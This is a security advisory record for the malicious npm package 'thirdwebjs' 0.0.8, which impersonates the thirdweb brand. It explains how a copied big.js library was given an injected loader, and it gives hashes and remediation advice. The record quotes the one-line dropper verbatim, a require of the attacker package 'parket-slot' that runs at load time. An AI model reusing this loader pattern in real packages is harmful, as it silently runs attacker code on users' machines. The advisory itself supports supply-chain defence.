mal-2026-6344
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3)
Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain try { const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {} — a require() that fires at library-load time and hands execution to the sibling package 'parket-slot'. package.json line 58 also declares "log-taker": "^0.0.9" as a runtime dependency, pulling a second attacker-controlled sibling into the installer's tree. The legitimate big.js source contains no such require. Any consumer that installs and requires/imports thirdwebjs in either CommonJS or ESM auto-executes code from parket-slot, with log-taker additionally resolved into node_modules at install time. This is a brand-impersonation dropper using sibling packages as the payload delivery channel.
Source: ghsa-malware (cf2b098b4554305b8488b5801ccc4a632a963720debc66623a7ac0f452d8a17c)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "big.js",
"sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace",
"tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"
},
{
"path": "big.mjs",
"sha256": "cc4f38d2c43eae53227a80cb79358fe6373f067d82d5b4b9e1cc135a0fbfbcc3",
"tlsh": "50c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"
}
],
"package_integrity": [
{
"filename": "thirdwebjs-0.0.8.tgz",
"hashes": {
"sha1": "27e3a665ca7ce75db69f329f0527c9a2f866cb68",
"sha512_sri": "sha512-XEu8W9rcYbSGxgQUzi+nYmYKNSNMqmez8P29HmQamHoOPlghPV01ii0OULdxWNzJBssAz6r2gkwAtZT4ABAVUw=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "thirdwebjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "SEMVER"
}
],
"versions": [
"0.0.8"
]
}
],
"aliases": [
"GHSA-8jr3-m3cj-m436"
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-007353",
"import_time": "2026-06-23T20:48:30.445221939Z",
"modified_time": "2026-06-23T20:01:23Z",
"sha256": "c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3",
"source": "amazon-inspector",
"versions": [
"0.0.8"
]
},
{
"id": "GHSA-8jr3-m3cj-m436",
"import_time": "2026-07-27T09:43:03.777304984Z",
"modified_time": "2026-07-27T01:18:00Z",
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "SEMVER"
}
],
"sha256": "cf2b098b4554305b8488b5801ccc4a632a963720debc66623a7ac0f452d8a17c",
"source": "ghsa-malware"
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3)\nPackage name impersonates the well-known \u0027thirdweb\u0027 brand but ships a verbatim copy of MikeMcl\u0027s big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain `try { const doc = require(\"parket-slot\"); doc.from_str().then(e =\u003e {}).catch(e =\u003e {}) } catch (error) {} ` \u2014 a require() that fires at library-load time and hands execution to the sibling package \u0027parket-slot\u0027. package.json line 58 also declares `\"log-taker\": \"^0.0.9\"` as a runtime dependency, pulling a second attacker-controlled sibling into the installer\u0027s tree. The legitimate big.js source contains no such require. Any consumer that installs and requires/imports thirdwebjs in either CommonJS or ESM auto-executes code from parket-slot, with log-taker additionally resolved into node_modules at install time. This is a brand-impersonation dropper using sibling packages as the payload delivery channel.\n\n## Source: ghsa-malware (cf2b098b4554305b8488b5801ccc4a632a963720debc66623a7ac0f452d8a17c)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
"id": "MAL-2026-6344",
"modified": "2026-07-27T09:45:44Z",
"published": "2026-06-23T20:01:23Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/thirdwebjs/v/0.0.8"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-8jr3-m3cj-m436"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in thirdwebjs (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.